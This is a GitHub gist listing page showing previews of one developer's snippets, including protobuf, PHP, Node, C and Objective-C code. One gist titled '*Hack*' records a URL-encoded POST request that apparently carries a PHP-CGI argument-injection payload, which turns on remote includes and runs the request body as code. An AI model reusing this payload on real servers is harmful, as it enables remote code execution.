Skip to content

Instantly share code, notes, and snippets.

@matejkramny
matejkramny / main.go
Created March 5, 2021 23:06
mongodb/naming enhancement for gogo protobuf generator
// Protocol Buffers for Go with Gadgets
//
// Copyright (c) 2015, The GoGo Authors. All rights reserved.
// http://github.com/gogo/protobuf
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright

Keybase proof

I hereby claim:

  • I am matejkramny on github.
  • I am matejkramny (https://keybase.io/matejkramny) on keybase.
  • I have a public key ASCUmVHoNXejvC1L3f_hfwMb9NAlenmijPYx1vYChqd01Qo

To claim this, I am signing this object:

/*
base64.cpp and base64.h
Copyright (C) 2004-2008 Ren� Nyffenegger
This source code is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
@matejkramny
matejkramny / visor-archivos-online.md
Created November 25, 2015 14:22 — forked from izazueta/visor-archivos-online.md
Google Docs Viewer & Office Web Apps Viewer

Google Docs Viewer

Only files under 25 MB can be previewed with the Google Drive viewer.

Google Drive viewer helps you preview over 16 different file types, listed below:

  • Image files (.JPEG, .PNG, .GIF, .TIFF, .BMP)
  • Video files (WebM, .MPEG4, .3GPP, .MOV, .AVI, .MPEGPS, .WMV, .FLV)
  • Text files (.TXT)
  • Markup/Code (.CSS, .HTML, .PHP, .C, .CPP, .H, .HPP, .JS)
  • Microsoft Word (.DOC and .DOCX)
<?php
// NEVER DO THIS - BAD
//extract($_GET);
ini_set('display_errors', '1');
error_reporting(E_STRICT | E_ALL);
$prod = 0; $x = 0; $y = 0;
$action = "not set";
$formula = "";
@matejkramny
matejkramny / docker_proxy.js
Created October 5, 2014 20:39
Tiny net proxy
var net = require('net');
net.createServer(function (socket) {
socket.on('data', function (chunk) {
console.log(chunk.toString('utf8'));
});
var d = net.createConnection('/var/run/docker.sock');
d.on('data', function (chunk) {
console.log('res ->', chunk.toString('utf8'));
/*
Redis-like 'thing' store
Description: An experiment I did to revive my knowledge of C. Inspired by redis
By: Matej Kramny
Date: 24/9/2014
License: WTFPL (wftpl.net)
@matejkramny
matejkramny / gist:8757027
Last active August 29, 2015 13:55
*Hack*
https://198.50.168.250:8019/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
url
https://198.50.168.250:8019/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
path
/%70%68%70%70%61%74%68/%70%68%70
method
POST
headers
{
../src/msgpack.cc:1:10: fatal error: 'v8.h' file not found
#include <v8.h>
^
1 error generated.
make: *** [Release/obj.target/msgpackBinding/src/msgpack.o] Error 1
gyp ERR! build error
gyp ERR! stack Error: `make` failed with exit code: 2
gyp ERR! stack at ChildProcess.onExit (/usr/local/lib/node_modules/npm/node_modules/node-gyp/lib/build.js:267:23)
gyp ERR! stack at ChildProcess.EventEmitter.emit (events.js:98:17)
gyp ERR! stack at Process.ChildProcess._handle.onexit (child_process.js:789:12)
@matejkramny
matejkramny / gist:8072120
Created December 21, 2013 17:07
Used within networking of iOrder app
- (NSMutableArray *)loopAndLoad:(NSArray *)args object:(Class)target {
NSMutableArray *arr = [[NSMutableArray alloc] init];
if ([args count] == 0) {
return arr;
}
for (NSDictionary *x in [args objectAtIndex:0]) {
id<NetworkLoadingProtocol> obj = [[target alloc] init];
[obj loadFromJSON:x];